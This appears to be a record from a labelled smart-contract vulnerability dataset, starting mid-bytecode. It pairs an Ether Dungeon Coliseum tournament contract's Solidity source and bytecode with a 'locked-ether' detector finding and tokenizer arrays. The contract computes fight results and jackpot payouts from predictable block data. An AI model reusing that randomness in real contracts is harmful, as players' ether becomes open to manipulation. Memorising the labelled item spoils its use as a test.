0000000000000000000815260206004820152601860248201527f6f6e6c792070656e64696e672050726f7879204f776e65720000000000000000604482015290519081900360640190fd5b61040e6101e7565b73ffffffffffffffffffffffffffffffffffffffff1661042c6101c2565b73ffffffffffffffffffffffffffffffffffffffff167f5a3e66efaa1e445ebd894728a69d6959842ea1e97bd79b892797106e270efcd960405160405180910390a361047e6104796101e7565b6105af565b61048860006105d3565b565b6104926101c2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461052b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6f6e6c792050726f7879204f776e657200000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661054b57600080fd5b610554816105d3565b7fb3d55174552271a4f1aaf36b72f50381e892171636b3fb5447fe00e995e7a37b61057d6101c2565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a150565b7f6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac55565b7f8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f45556fea26469706673582212206acd099dfc34ccee396084df959d0fdd422a2c554ac50708d35a07f9a50e18bd64736f6c634300060a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 4783, 2487, 2063, 21926, 18939, 2549, 16409, 2692, 2050, 2549, 2497, 2475, 7011, 2692, 7875, 29097, 2692, 2546, 2509, 2063, 19317, 2063, 28756, 2497, 28311, 17465, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 9530, 3367, 1011, 2171, 1011, 7488, 18382, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2184, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3079, 6279, 24170, 8010, 21572, 18037, 1008, 1030, 16475, 2023, 3206, 13585, 2019, 12200, 8010, 24540, 2007, 3937, 20104, 2491, 8360, 6447, 1008, 1013, 3206, 3079, 6279, 24170, 8010, 21572, 18037, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 2724, 2000, 2265, 6095, 2038, 2042, 4015, 1008, 1030, 11498, 2213, 3025, 12384, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,811
0x95bE22039DA3114d17A38b9E7CD9b3576dE83924
pragma solidity ^0.4.19; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Helps contracts guard agains reentrancy attacks. * @author Remco Bloemen <remco@2π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } } /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { function Destructible() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } /// @dev Interface to the Core Contract of Ether Dungeon. contract EDCoreInterface { /// @dev The external function to get all the game settings in one call. function getGameSettings() external view returns ( uint _recruitHeroFee, uint _transportationFeeMultiplier, uint _noviceDungeonId, uint _consolationRewardsRequiredFaith, uint _challengeFeeMultiplier, uint _dungeonPreparationTime, uint _trainingFeeMultiplier, uint _equipmentTrainingFeeMultiplier, uint _preparationPeriodTrainingFeeMultiplier, uint _preparationPeriodEquipmentTrainingFeeMultiplier ); /** * @dev The external function to get all the relevant information about a specific player by its address. * @param _address The address of the player. */ function getPlayerDetails(address _address) external view returns ( uint dungeonId, uint payment, uint dungeonCount, uint heroCount, uint faith, bool firstHeroRecruited ); /** * @dev The external function to get all the relevant information about a specific dungeon by its ID. * @param _id The ID of the dungeon. */ function getDungeonDetails(uint _id) external view returns ( uint creationTime, uint status, uint difficulty, uint capacity, address owner, bool isReady, uint playerCount ); /** * @dev Split floor related details out of getDungeonDetails, just to avoid Stack Too Deep error. * @param _id The ID of the dungeon. */ function getDungeonFloorDetails(uint _id) external view returns ( uint floorNumber, uint floorCreationTime, uint rewards, uint seedGenes, uint floorGenes ); /** * @dev The external function to get all the relevant information about a specific hero by its ID. * @param _id The ID of the hero. */ function getHeroDetails(uint _id) external view returns ( uint creationTime, uint cooldownStartTime, uint cooldownIndex, uint genes, address owner, bool isReady, uint cooldownRemainingTime ); /// @dev Get the attributes (equipments + stats) of a hero from its gene. function getHeroAttributes(uint _genes) public pure returns (uint[]); /// @dev Calculate the power of a hero from its gene, it calculates the equipment power, stats power, and super hero boost. function getHeroPower(uint _genes, uint _dungeonDifficulty) public pure returns ( uint totalPower, uint equipmentPower, uint statsPower, bool isSuper, uint superRank, uint superBoost ); /// @dev Calculate the power of a dungeon floor. function getDungeonPower(uint _genes) public pure returns (uint); /** * @dev Calculate the sum of top 5 heroes power a player owns. * The gas usage increased with the number of heroes a player owned, roughly 500 x hero count. * This is used in transport function only to calculate the required tranport fee. */ function calculateTop5HeroesPower(address _address, uint _dungeonId) public view returns (uint); } /// @dev Core Contract of "Enter the Coliseum" game of the ED (Ether Dungeon) Platform. contract EDColiseumAlpha is Pausable, ReentrancyGuard, Destructible { struct Participant { address player; uint heroId; uint heroPower; } /// @dev The address of the EtherDungeonCore contract. EDCoreInterface public edCoreContract = EDCoreInterface(0xf7eD56c1AC4d038e367a987258b86FC883b960a1); /// @dev Seed for the random number generator used for calculating fighting result. uint _seed; /* ======== SETTINGS ======== */ /// @dev The required win count to win a jackpot. uint public jackpotWinCount = 3; /// @dev The percentage of jackpot a player get when reaching the jackpotWinCount. uint public jackpotWinPercent = 50; /// @dev The percentage of rewards a player get when being the final winner of a tournament. uint public winPercent = 55; /// @dev The percentage of rewards a player get when being the final loser of a tournament, remaining will add to tournamentJackpot. uint public losePercent = 35; /// @dev Dungeon difficulty to be used when calculating super hero power boost, 1 is no boost. uint public dungeonDifficulty = 1; /// @dev The required fee to join a participant uint public participationFee = 0.02 ether; /// @dev The maximum number of participants for a tournament. uint public constant maxParticipantCount = 8; /* ======== STATE VARIABLES ======== */ /// @dev The next tournaments round number. uint public nextTournamentRound = 1; /// @dev The current accumulated rewards pool. uint public tournamentRewards; /// @dev The current accumulated jackpot. uint public tournamentJackpot = 0.2 ether; /// @dev Array of all the participant for next tournament. Participant[] public participants; /// @dev Array of all the participant for the previous tournament. Participant[] public previousParticipants; /// @dev Array to store the participant index all winners / losers for each "fighting round" of the previous tournament. uint[maxParticipantCount / 2] public firstRoundWinners; uint[maxParticipantCount / 4] public secondRoundWinners; uint[maxParticipantCount / 2] public firstRoundLosers; uint[maxParticipantCount / 4] public secondRoundLosers; uint public finalWinner; uint public finalLoser; /// @dev Mapping of hero ID to the hero's last participated tournament round to avoid repeated hero participation. mapping(uint => uint) public heroIdToLastRound; /// @dev Mapping of player ID to the consecutive win counts, used for calculating jackpot. mapping(address => uint) public playerToWinCounts; /* ======== EVENTS ======== */ /// @dev The PlayerTransported event is fired when user transported to another dungeon. event TournamentFinished(uint timestamp, uint tournamentRound, address finalWinner, address finalLoser, uint winnerRewards, uint loserRewards, uint winCount, uint jackpotRewards); /// @dev Payable constructor to pass in the initial jackpot ethers. function EDColiseum() public payable {} /* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */ /// @dev The external function to get all the game settings in one call. function getGameSettings() external view returns ( uint _jackpotWinCount, uint _jackpotWinPercent, uint _winPercent, uint _losePercent, uint _dungeonDifficulty, uint _participationFee, uint _maxParticipantCount ) { _jackpotWinCount = jackpotWinCount; _jackpotWinPercent = jackpotWinPercent; _winPercent = winPercent; _losePercent = losePercent; _dungeonDifficulty = dungeonDifficulty; _participationFee = participationFee; _maxParticipantCount = maxParticipantCount; } /// @dev The external function to get all the game settings in one call. function getNextTournamentData() external view returns ( uint _nextTournamentRound, uint _tournamentRewards, uint _tournamentJackpot, uint _participantCount ) { _nextTournamentRound = nextTournamentRound; _tournamentRewards = tournamentRewards; _tournamentJackpot = tournamentJackpot; _participantCount = participants.length; } /// @dev The external function to call when joining the next tournament. function joinTournament(uint _heroId) whenNotPaused nonReentrant external payable { uint genes; address owner; (,,, genes, owner,,) = edCoreContract.getHeroDetails(_heroId); // Throws if the hero is not owned by the sender. require(msg.sender == owner); // Throws if the hero is already participated in the next tournament. require(heroIdToLastRound[_heroId] != nextTournamentRound); // Throws if participation count is full. require(participants.length < maxParticipantCount); // Throws if payment not enough, any exceeding funds will be transferred back to the player. require(msg.value >= participationFee); tournamentRewards += participationFee; if (msg.value > participationFee) { msg.sender.transfer(msg.value - participationFee); } // Set the hero participation round. heroIdToLastRound[_heroId] = nextTournamentRound; // Get the hero power and set it to storage. uint heroPower; (heroPower,,,,) = edCoreContract.getHeroPower(genes, dungeonDifficulty); // Throw if heroPower is 12 (novice hero). require(heroPower > 12); // Set the participant data to storage. participants.push(Participant(msg.sender, _heroId, heroPower)); } /// @dev The onlyOwner external function to call when joining the next tournament. function startTournament() onlyOwner nonReentrant external { // Throws if participation count is not full. require(participants.length == maxParticipantCount); // FIGHT! _firstRoundFight(); _secondRoundWinnersFight(); _secondRoundLosersFight(); _finalRoundWinnersFight(); _finalRoundLosersFight(); // REWARDS! uint winnerRewards = tournamentRewards * winPercent / 100; uint loserRewards = tournamentRewards * losePercent / 100; uint addToJackpot = tournamentRewards - winnerRewards - loserRewards; address winner = participants[finalWinner].player; address loser = participants[finalLoser].player; winner.transfer(winnerRewards); loser.transfer(loserRewards); tournamentJackpot += addToJackpot; // JACKPOT! playerToWinCounts[winner]++; // Reset other participants' consecutive winCount. for (uint i = 0; i < participants.length; i++) { address participant = participants[i].player; if (participant != winner && playerToWinCounts[participant] != 0) { playerToWinCounts[participant] = 0; } } // Detemine if the winner have enough consecutive winnings for jackpot. uint jackpotRewards; uint winCount = playerToWinCounts[winner]; if (winCount == jackpotWinCount) { // Reset consecutive winCount of winner. playerToWinCounts[winner] = 0; jackpotRewards = tournamentJackpot * jackpotWinPercent / 100; tournamentJackpot -= jackpotRewards; winner.transfer(jackpotRewards); } // Reset tournament data and increment round. tournamentRewards = 0; previousParticipants = participants; participants.length = 0; nextTournamentRound++; // Emit TournamentFinished event. TournamentFinished(now, nextTournamentRound - 1, winner, loser, winnerRewards, loserRewards, winCount, jackpotRewards); } /// @dev The onlyOwner external function to call to cancel the next tournament and refunds. function cancelTournament() onlyOwner nonReentrant external { for (uint i = 0; i < participants.length; i++) { address participant = participants[i].player; if (participant != 0x0) { participant.transfer(participationFee); } } // Reset tournament data and increment round. tournamentRewards = 0; participants.length = 0; nextTournamentRound++; } /// @dev Withdraw all Ether from the contract. function withdrawBalance() onlyOwner external { // Can only withdraw if no participants joined (i.e. call cancelTournament first.) require(participants.length == 0); msg.sender.transfer(this.balance); } /* ======== SETTER FUNCTIONS ======== */ function setEdCoreContract(address _newEdCoreContract) onlyOwner external { edCoreContract = EDCoreInterface(_newEdCoreContract); } function setJackpotWinCount(uint _newJackpotWinCount) onlyOwner external { jackpotWinCount = _newJackpotWinCount; } function setJackpotWinPercent(uint _newJackpotWinPercent) onlyOwner external { jackpotWinPercent = _newJackpotWinPercent; } function setWinPercent(uint _newWinPercent) onlyOwner external { winPercent = _newWinPercent; } function setLosePercent(uint _newLosePercent) onlyOwner external { losePercent = _newLosePercent; } function setDungeonDifficulty(uint _newDungeonDifficulty) onlyOwner external { dungeonDifficulty = _newDungeonDifficulty; } function setParticipationFee(uint _newParticipationFee) onlyOwner external { participationFee = _newParticipationFee; } /* ======== INTERNAL/PRIVATE FUNCTIONS ======== */ /// @dev Compute all winners and losers for the first round. function _firstRoundFight() private { // Get all hero powers. uint heroPower0 = participants[0].heroPower; uint heroPower1 = participants[1].heroPower; uint heroPower2 = participants[2].heroPower; uint heroPower3 = participants[3].heroPower; uint heroPower4 = participants[4].heroPower; uint heroPower5 = participants[5].heroPower; uint heroPower6 = participants[6].heroPower; uint heroPower7 = participants[7].heroPower; // Random number. uint rand; // 0 Vs 1 rand = _getRandomNumber(100); if ( (heroPower0 > heroPower1 && rand < 60) || (heroPower0 == heroPower1 && rand < 50) || (heroPower0 < heroPower1 && rand < 40) ) { firstRoundWinners[0] = 0; firstRoundLosers[0] = 1; } else { firstRoundWinners[0] = 1; firstRoundLosers[0] = 0; } // 2 Vs 3 rand = _getRandomNumber(100); if ( (heroPower2 > heroPower3 && rand < 60) || (heroPower2 == heroPower3 && rand < 50) || (heroPower2 < heroPower3 && rand < 40) ) { firstRoundWinners[1] = 2; firstRoundLosers[1] = 3; } else { firstRoundWinners[1] = 3; firstRoundLosers[1] = 2; } // 4 Vs 5 rand = _getRandomNumber(100); if ( (heroPower4 > heroPower5 && rand < 60) || (heroPower4 == heroPower5 && rand < 50) || (heroPower4 < heroPower5 && rand < 40) ) { firstRoundWinners[2] = 4; firstRoundLosers[2] = 5; } else { firstRoundWinners[2] = 5; firstRoundLosers[2] = 4; } // 6 Vs 7 rand = _getRandomNumber(100); if ( (heroPower6 > heroPower7 && rand < 60) || (heroPower6 == heroPower7 && rand < 50) || (heroPower6 < heroPower7 && rand < 40) ) { firstRoundWinners[3] = 6; firstRoundLosers[3] = 7; } else { firstRoundWinners[3] = 7; firstRoundLosers[3] = 6; } } /// @dev Compute all second winners of all first round winners. function _secondRoundWinnersFight() private { // Get all hero powers of all first round winners. uint winner0 = firstRoundWinners[0]; uint winner1 = firstRoundWinners[1]; uint winner2 = firstRoundWinners[2]; uint winner3 = firstRoundWinners[3]; uint heroPower0 = participants[winner0].heroPower; uint heroPower1 = participants[winner1].heroPower; uint heroPower2 = participants[winner2].heroPower; uint heroPower3 = participants[winner3].heroPower; // Random number. uint rand; // 0 Vs 1 rand = _getRandomNumber(100); if ( (heroPower0 > heroPower1 && rand < 60) || (heroPower0 == heroPower1 && rand < 50) || (heroPower0 < heroPower1 && rand < 40) ) { secondRoundWinners[0] = winner0; } else { secondRoundWinners[0] = winner1; } // 2 Vs 3 rand = _getRandomNumber(100); if ( (heroPower2 > heroPower3 && rand < 60) || (heroPower2 == heroPower3 && rand < 50) || (heroPower2 < heroPower3 && rand < 40) ) { secondRoundWinners[1] = winner2; } else { secondRoundWinners[1] = winner3; } } /// @dev Compute all second losers of all first round losers. function _secondRoundLosersFight() private { // Get all hero powers of all first round losers. uint loser0 = firstRoundLosers[0]; uint loser1 = firstRoundLosers[1]; uint loser2 = firstRoundLosers[2]; uint loser3 = firstRoundLosers[3]; uint heroPower0 = participants[loser0].heroPower; uint heroPower1 = participants[loser1].heroPower; uint heroPower2 = participants[loser2].heroPower; uint heroPower3 = participants[loser3].heroPower; // Random number. uint rand; // 0 Vs 1 rand = _getRandomNumber(100); if ( (heroPower0 > heroPower1 && rand < 60) || (heroPower0 == heroPower1 && rand < 50) || (heroPower0 < heroPower1 && rand < 40) ) { secondRoundLosers[0] = loser1; } else { secondRoundLosers[0] = loser0; } // 2 Vs 3 rand = _getRandomNumber(100); if ( (heroPower2 > heroPower3 && rand < 60) || (heroPower2 == heroPower3 && rand < 50) || (heroPower2 < heroPower3 && rand < 40) ) { secondRoundLosers[1] = loser3; } else { secondRoundLosers[1] = loser2; } } /// @dev Compute the final winner. function _finalRoundWinnersFight() private { // Get all hero powers of all first round winners. uint winner0 = secondRoundWinners[0]; uint winner1 = secondRoundWinners[1]; uint heroPower0 = participants[winner0].heroPower; uint heroPower1 = participants[winner1].heroPower; // Random number. uint rand; // 0 Vs 1 rand = _getRandomNumber(100); if ( (heroPower0 > heroPower1 && rand < 60) || (heroPower0 == heroPower1 && rand < 50) || (heroPower0 < heroPower1 && rand < 40) ) { finalWinner = winner0; } else { finalWinner = winner1; } } /// @dev Compute the final loser. function _finalRoundLosersFight() private { // Get all hero powers of all first round winners. uint loser0 = secondRoundLosers[0]; uint loser1 = secondRoundLosers[1]; uint heroPower0 = participants[loser0].heroPower; uint heroPower1 = participants[loser1].heroPower; // Random number. uint rand; // 0 Vs 1 rand = _getRandomNumber(100); if ( (heroPower0 > heroPower1 && rand < 60) || (heroPower0 == heroPower1 && rand < 50) || (heroPower0 < heroPower1 && rand < 40) ) { finalLoser = loser1; } else { finalLoser = loser0; } } // @dev Return a pseudo random uint smaller than lower bounds. function _getRandomNumber(uint _upper) private returns (uint) { _seed = uint(keccak256( _seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty )); return _seed % _upper; } }
0x6060604052600436106101ea5763ffffffff60e060020a60003504166301f865c381146101ef57806315a06e661461020757806316d050421461022f5780631aa7e54c146102425780631e0419d4146102555780633239825c1461026857806335c1d349146102975780633f4ba83a146102e3578063508f46a0146102f6578063510d876f146103475780635c975abb1461035d5780635fd8c710146103845780636155f0b21461039757806362e881a4146103ad578063646156aa146103c057806364d0e83b146103d35780636b3a8e90146103e65780636e321105146103f95780637dbecc541461040c57806383197ef0146104145780638456cb59146104275780638809716c1461043a5780638da5cb5b146104505780638fd237e114610463578063985c7564146104795780639bb5ce30146104b75780639e639858146104ca578063a5a2c362146104dd578063b6823a66146104f3578063b7f1489e14610506578063bf559d111461051c578063c462a4081461052f578063c88098f214610542578063c8b39eb514610558578063caeee7ae14610577578063d115cac614610596578063d468f2e1146105a1578063d4dcc620146105b7578063e7031501146105cd578063e866d302146105e0578063f2fde38b146105f6578063f5074f4114610615575b600080fd5b34156101fa57600080fd5b610205600435610634565b005b341561021257600080fd5b61021d600435610654565b60405190815260200160405180910390f35b341561023a57600080fd5b61021d610668565b341561024d57600080fd5b61021d61066e565b341561026057600080fd5b61021d610674565b341561027357600080fd5b61027b61067a565b604051600160a060020a03909116815260200160405180910390f35b34156102a257600080fd5b6102ad600435610689565b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390f35b34156102ee57600080fd5b6102056106c4565b341561030157600080fd5b610309610743565b60405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390f35b341561035257600080fd5b61021d600435610762565b341561036857600080fd5b61037061076f565b604051901515815260200160405180910390f35b341561038f57600080fd5b61020561077f565b34156103a257600080fd5b61021d6004356107e6565b34156103b857600080fd5b61021d6107f8565b34156103cb57600080fd5b6102056107fe565b34156103de57600080fd5b61021d6108f6565b34156103f157600080fd5b61021d6108fc565b341561040457600080fd5b61021d610902565b6102056107e4565b341561041f57600080fd5b610205610908565b341561043257600080fd5b610205610931565b341561044557600080fd5b6102056004356109b5565b341561045b57600080fd5b61027b6109d5565b341561046e57600080fd5b6102056004356109e4565b341561048457600080fd5b61048c610a04565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156104c257600080fd5b61021d610a18565b34156104d557600080fd5b61021d610a1e565b34156104e857600080fd5b61021d600435610a24565b34156104fe57600080fd5b61021d610a31565b341561051157600080fd5b610205600435610a37565b341561052757600080fd5b610205610a57565b341561053a57600080fd5b61021d610dd6565b341561054d57600080fd5b610205600435610ddb565b341561056357600080fd5b610205600160a060020a0360043516610dfb565b341561058257600080fd5b61021d600160a060020a0360043516610e45565b610205600435610e57565b34156105ac57600080fd5b61021d60043561113c565b34156105c257600080fd5b6102ad600435611149565b34156105d857600080fd5b61021d611157565b34156105eb57600080fd5b61020560043561115d565b341561060157600080fd5b610205600160a060020a036004351661117d565b341561062057600080fd5b610205600160a060020a0360043516611218565b60005433600160a060020a0390811691161461064f57600080fd5b600555565b6018816002811061066157fe5b0154905081565b601b5481565b60075481565b601a5481565b600154600160a060020a031681565b600c80548290811061069757fe5b6000918252602090912060039091020180546001820154600290920154600160a060020a03909116925083565b60005433600160a060020a039081169116146106df57600080fd5b60005460a060020a900460ff1615156106f757600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6003546004546005546006546007546008805495969495939492939192565b6014816004811061066157fe5b60005460a060020a900460ff1681565b60005433600160a060020a0390811691161461079a57600080fd5b600c54156107a757600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f1935050505015156107e457600080fd5b565b601c6020526000908152604090205481565b60095481565b60008054819033600160a060020a0390811691161461081c57600080fd5b60005460a860020a900460ff161561083357600080fd5b6000805460a860020a60ff02191660a860020a17815591505b600c548210156108c657600c80548390811061086457fe5b6000918252602090912060039091020154600160a060020a0316905080156108bb5780600160a060020a03166108fc6008549081150290604051600060405180830381858888f1935050505015156108bb57600080fd5b60019091019061084c565b6000600a8190556108d8600c82611994565b5050600980546001019055506000805460a860020a60ff0219169055565b60035481565b600b5481565b60065481565b60005433600160a060020a0390811691161461092357600080fd5b600054600160a060020a0316ff5b60005433600160a060020a0390811691161461094c57600080fd5b60005460a060020a900460ff161561096357600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60005433600160a060020a039081169116146109d057600080fd5b600755565b600054600160a060020a031681565b60005433600160a060020a039081169116146109ff57600080fd5b600455565b600954600a54600b54600c54929391929091565b60085481565b60055481565b600e816004811061066157fe5b600a5481565b60005433600160a060020a03908116911614610a5257600080fd5b600655565b600080548190819081908190819081908190819033600160a060020a03908116911614610a8357600080fd5b60005460a860020a900460ff1615610a9a57600080fd5b6000805460a860020a60ff02191660a860020a179055600c54600814610abf57600080fd5b610ac761123f565b610acf611510565b610ad761166b565b610adf6117c6565b610ae761187a565b600554600a5460065460649282028390049b50020497508789600a5403039650600c601a54815481101515610b1857fe5b6000918252602090912060039091020154601b54600c8054600160a060020a039093169850918110610b4657fe5b6000918252602090912060039091020154600160a060020a039081169550861689156108fc028a604051600060405180830381858888f193505050501515610b8d57600080fd5b600160a060020a03851688156108fc0289604051600060405180830381858888f193505050501515610bbe57600080fd5b600b805488019055600160a060020a0386166000908152601d602052604081208054600101905593505b600c54841015610c7057600c805485908110610c0057fe5b6000918252602090912060039091020154600160a060020a03908116935086168314801590610c465750600160a060020a0383166000908152601d602052604090205415155b15610c6557600160a060020a0383166000908152601d60205260408120555b600190930192610be8565b50600160a060020a0385166000908152601d6020526040902054600354811415610cf857600160a060020a0386166000908152601d6020526040812055600454600b5460649102600b8054929091049182900390559150600160a060020a03861682156108fc0283604051600060405180830381858888f193505050501515610cf857600080fd5b6000600a55600c8054610d0d91600d916119c5565b506000610d1b600c82611994565b5060098054600181019091557fffddfc8cc3b0a4ba34489f0f436ae11f90c7bf863e411f581a3ed3c795fce9aa90429088888d8d87896040518089815260200188815260200187600160a060020a0316600160a060020a0316815260200186600160a060020a0316600160a060020a031681526020018581526020018481526020018381526020018281526020019850505050505050505060405180910390a150506000805460a860020a60ff021916905550505050505050565b600881565b60005433600160a060020a03908116911614610df657600080fd5b600855565b60005433600160a060020a03908116911614610e1657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b601d6020526000908152604090205481565b600080548190819060a060020a900460ff1615610e7357600080fd5b60005460a860020a900460ff1615610e8a57600080fd5b6000805460a860020a60ff02191660a860020a178155600154600160a060020a03169063730bdc9690869060405160e0015260405160e060020a63ffffffff8416028152600481019190915260240160e060405180830381600087803b1515610ef257600080fd5b6102c65a03f11515610f0357600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805150929850909650505033600160a060020a03908116908616149250610f5691505057600080fd5b6009546000858152601c60205260409020541415610f7357600080fd5b600c5460089010610f8357600080fd5b600854341015610f9257600080fd5b600854600a805482019055341115610fdb5733600160a060020a03166108fc60085434039081150290604051600060405180830381858888f193505050501515610fdb57600080fd5b6009546000858152601c602052604080822092909255600154600754600160a060020a0390911692636c0d2c8b928792915160c0015260405160e060020a63ffffffff85160281526004810192909252602482015260440160c060405180830381600087803b151561104c57600080fd5b6102c65a03f1151561105d57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180515094955050600c8511935061109b9250505057600080fd5b600c8054600181016110ad8382611994565b9160005260206000209060030201600060606040519081016040908152600160a060020a03331682526020820189905281018590529190508151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015160029091015550506000805460a860020a60ff021916905550505050565b6012816002811061066157fe5b600d80548290811061069757fe5b60045481565b60005433600160a060020a0390811691161461117857600080fd5b600355565b60005433600160a060020a0390811691161461119857600080fd5b600160a060020a03811615156111ad57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461123357600080fd5b80600160a060020a0316ff5b6000806000806000806000806000600c600081548110151561125d57fe5b9060005260206000209060030201600201549850600c600181548110151561128157fe5b9060005260206000209060030201600201549750600c60028154811015156112a557fe5b9060005260206000209060030201600201549650600c60038154811015156112c957fe5b9060005260206000209060030201600201549550600c60048154811015156112ed57fe5b9060005260206000209060030201600201549450600c600581548110151561131157fe5b9060005260206000209060030201600201549350600c600681548110151561133557fe5b9060005260206000209060030201600201549250600c600781548110151561135957fe5b9060005260206000209060030201600201549150611377606461192d565b905087891180156113885750603c81105b8061139d5750878914801561139d5750603281105b806113b2575087891080156113b25750602881105b156113c6576000600e5560016014556113d1565b6001600e5560006014555b6113db606461192d565b905085871180156113ec5750603c81105b80611401575085871480156114015750603281105b80611416575085871080156114165750602881105b1561142a576002600f556003601555611435565b6003600f5560026015555b61143f606461192d565b905083851180156114505750603c81105b80611465575083851480156114655750603281105b8061147a5750838510801561147a5750602881105b1561148e5760046010556005601655611499565b600560105560046016555b6114a3606461192d565b905081831180156114b45750603c81105b806114c9575081831480156114c95750603281105b806114de575081831080156114de5750602881105b156114f65760066011556007601460035b0155611505565b60076011556006601460035b01555b505050505050505050565b600e54600f54601054601154600c80546000918291829182918291908a90811061153657fe5b9060005260206000209060030201600201549450600c8881548110151561155957fe5b9060005260206000209060030201600201549350600c8781548110151561157c57fe5b9060005260206000209060030201600201549250600c8681548110151561159f57fe5b90600052602060002090600302016002015491506115bd606461192d565b905083851180156115ce5750603c81105b806115e3575083851480156115e35750603281105b806115f8575083851080156115f85750602881105b1561160757601289905561160d565b60128890555b611617606461192d565b905081831180156116285750603c81105b8061163d5750818314801561163d5750603281105b80611652575081831080156116525750602881105b156116615786601260016114ef565b8560126001611502565b601454601554601654601754600c80546000918291829182918291908a90811061169157fe5b9060005260206000209060030201600201549450600c888154811015156116b457fe5b9060005260206000209060030201600201549350600c878154811015156116d757fe5b9060005260206000209060030201600201549250600c868154811015156116fa57fe5b9060005260206000209060030201600201549150611718606461192d565b905083851180156117295750603c81105b8061173e5750838514801561173e5750603281105b80611753575083851080156117535750602881105b15611762576018889055611768565b60188990555b611772606461192d565b905081831180156117835750603c81105b80611798575081831480156117985750603281105b806117ad575081831080156117ad5750602881105b156117bc5785601860016114ef565b8660186001611502565b601254601354600c80546000918291829190869081106117e257fe5b9060005260206000209060030201600201549250600c8481548110151561180557fe5b9060005260206000209060030201600201549150611823606461192d565b905081831180156118345750603c81105b80611849575081831480156118495750603281105b8061185e5750818310801561185e5750602881105b1561186d57601a859055611873565b601a8490555b5050505050565b601854601954600c805460009182918291908690811061189657fe5b9060005260206000209060030201600201549250600c848154811015156118b957fe5b90600052602060002090600302016002015491506118d7606461192d565b905081831180156118e85750603c81105b806118fd575081831480156118fd5750603281105b80611912575081831080156119125750602881105b1561192157601b849055611873565b601b859055505050505056